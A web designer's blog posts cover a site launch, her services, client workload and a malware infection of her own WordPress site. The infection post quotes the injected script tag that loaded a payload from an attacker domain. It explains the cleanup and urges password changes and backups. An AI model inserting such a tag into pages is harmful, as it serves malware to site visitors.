They wanted something fresh… something more streamlined…. something more accessible to people on the go. They asked; I delivered! Check out the new gulf coast community foundation website on both your desktop and smartphone. www.mgccf.org
Tags: New website
Ok, so it took me awhile to realize this, but the fact that I finally found a way to bypass the usual hurry up and wait syndrome with website content is ground breaking. It’s call “web content gathering” and it’s listed under the services’ tab.
In essence, I’m now utilizing that God-given talent of reporting to help my clients with the most IMPORTANT aspect of their website – it’s content. I have always offered content writing as a service, but it wasn’t all inclusive and I surely didn’t stop by your office and take your picture.
Now, I’m a one-stop-shop, full-service boutique web design firm. That means – you hire me to build your site and I’ll do it all. I’ll interview you, writing all about you, take photos of you and your office, decide how you should be marketed, design a logo, plan how your site should function, construct a layout, translate the art into code, add in the programming to make the magic work and tie it all together with a little bow when it’s all done! Sure, I’ll still need your help gathering random items here and there like product photos or employment applications, but I’ll give you a check list so you don’t have to do much thinking!
I’m so excited to announce this new service since content gathering has traditionally been my clients’ jobs and the job that sucked the most amount of energy OUT of projects. And I surely do hope that it helps speed the process of web development along, not to mention making the end result that much more appealing and real, which will make us all happier in the end!
Tags: Content Gathering
Maybe it’s the symptom of being mainly a one-woman-show or maybe it’s the sign of success, but being a web designer for multiple clients is a lot like being a full-time working from home mom.
One minute you’re putting together a proposal; the next you are trying to find the right way to teach your child about race relations. Ring, ring – a client’s on the phone wanting to discuss the results of the poll. You put your “work” hat on just long enough to answer the first question then you hear your child shout from the top of their lungs, “mommy, come wipe me.” The bills have to be paid, the floors have to swept, that car issue fixed, the emails answered. You do it all in the course of the day and each with the conviction of a professional and after switching gears over and over and over again, you’re wiped out.
While I am a mother, my child is in school during the work day so I don’t have the work-home mix going on. I don’t need it, though, because switching gears throughout my regular work day is standard for web designer like me who also maintains website and acts as the ‘go to’ person for virtually all web-related discussion on each of them.
Case in point, on any given day, I’ll hear from 6 different clients… all with different needs. One may just want a new picture added to their site. Another needs me to change the text on their bio when I get a chance. The third and forth are having problems viewing a page on their website and need help troubleshooting. And the last two want a few moments of my time to pick my head about a potential upgrade to their site. That is all on top of what “project” I’m already working on.
Since each of these clients have different size websites that were built using different programming platforms and for varying needs, the switch from one site to the next is a gear change. Throw into that the fact that the web is an ever-expanding opportunity of growth and change and most of my clients expect me to know at least a little something about everything web – the latest web standards, online payments, secure certificates, flash animation, social media, web hosting, email marketing, search engine optimization, adwords and graphic design to name a few – and you’ve got yourself one heck of a gear-changing party going on. And if that wasn’t enough, most clients also expect me to know something (if not everything) about their business…. enough to be able to give them up-to-the-minute advice on what they should do to increase sales and traffic on their sites. Whew! I’m tired just thinking about all that I have to know!
Exhausting as it may sound, I still absolutely LOVE my job. I love maintaining websites. (Shoot, I’d do it for free if I didn’t have bills to pay!) I do know a lot about the web and enjoy being able to help my clients navigate it easier. Luckily I am able to switch gears pretty quickly and do so to better provide my clients with great customer service. But I am only human.
So to my 50+ clients, I raise my toast to successfully switching gears for 3 years. Be a doll and hand me a beer!
If you use a PC, I surely do hope you DIDN’T visit my website over the last few days. The reason? It was infected with malware. Because I am on a mac, I didn’t notice the popups and various bugs that had taken over my website since May 15th, but a fellow web designer in Mississippi – Addison Hall – sent me an email to let me know that he witnessed it. I couldn’t have been more grateful for the heads-up.
So what exactly happened?
Well, this snippet of code was on my homepage: <script src=”http://holasionweb.com/oo.php”></script>
Doesn’t look too harmful, but considering I didn’t put it there, it’s scary. It’s being there meant that someone besides me was rooting around my website and had enough access to my file to infect them with a virus.
The first thing I did was change was FTP login and password. I wanted to make sure whoever had my access to my files wouldn’t have access anymore. Then, I went searching for the virus on the server.
At first, I thought that code was merely placed on my homepage and a simple “highlight / delete” would solve my dilemma. But I was wrong. I couldn’t find the code anywhere, which meant the virus was more problematic than I first thought. It was a script running in my directory and I was going to have to find it first.
Now I’m pissed. What’s going to happen it I can’t get rid of it? Is my website going to disappear? How old is my back up website? What problems has this bug already caused? Concerns boggled my mind.
A quick google search revealed that the malware is a recent virus that has been attacking websites that are hosted with GoDaddy.com shared hosting and running some form of Word Press. Check, Check, Check. That’s me.
Luckily, other people who combated the bug already had the “anti” virus file available for download. I downloaded a few – one was more complicated than the other – so I went the easy route: http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html
You best believe that I was leery about uploading an unknown file to my website since I wasn’t familiar with the blog author, but I checked out the code, read the comments and took the leap of faith that this was someone just trying to help…. and it was!
Within a few minutes, the “fix it” script found and delete the virus. A rush of relief ran through me, but only for a second as I started to go down the client list and recall which of my client’s use godaddy.com too.
Good news… doesn’t look like anyone else was infected. But it still acts as a reminder of the world that we live in. Folks – it’s important to keep your passwords safe and change them from time to time. It’s also important to keep backup copies of your website. You never know who’s lurking in the shadows ready to attack when you give them the chance. For my business, a website virus could have been disastrous had it not been spotted and extinguished early.
One of the first questions I ask of a new client when we begin a web project is to send me links to websites they love. I like to get an idea of what they are looking for for their new site and nothing’s better than seeing what others have done to light that inspiration fire!
My video blog goes into detail about design resource websites and why I encourage clients to look at them. My favorite design website is cssbeauty.com. It is a mecca of site that are both good looking and made well. Check out the “Top 50: Resource for Design Inspiration” for a link to several of the industry’s leading inspiration sites.
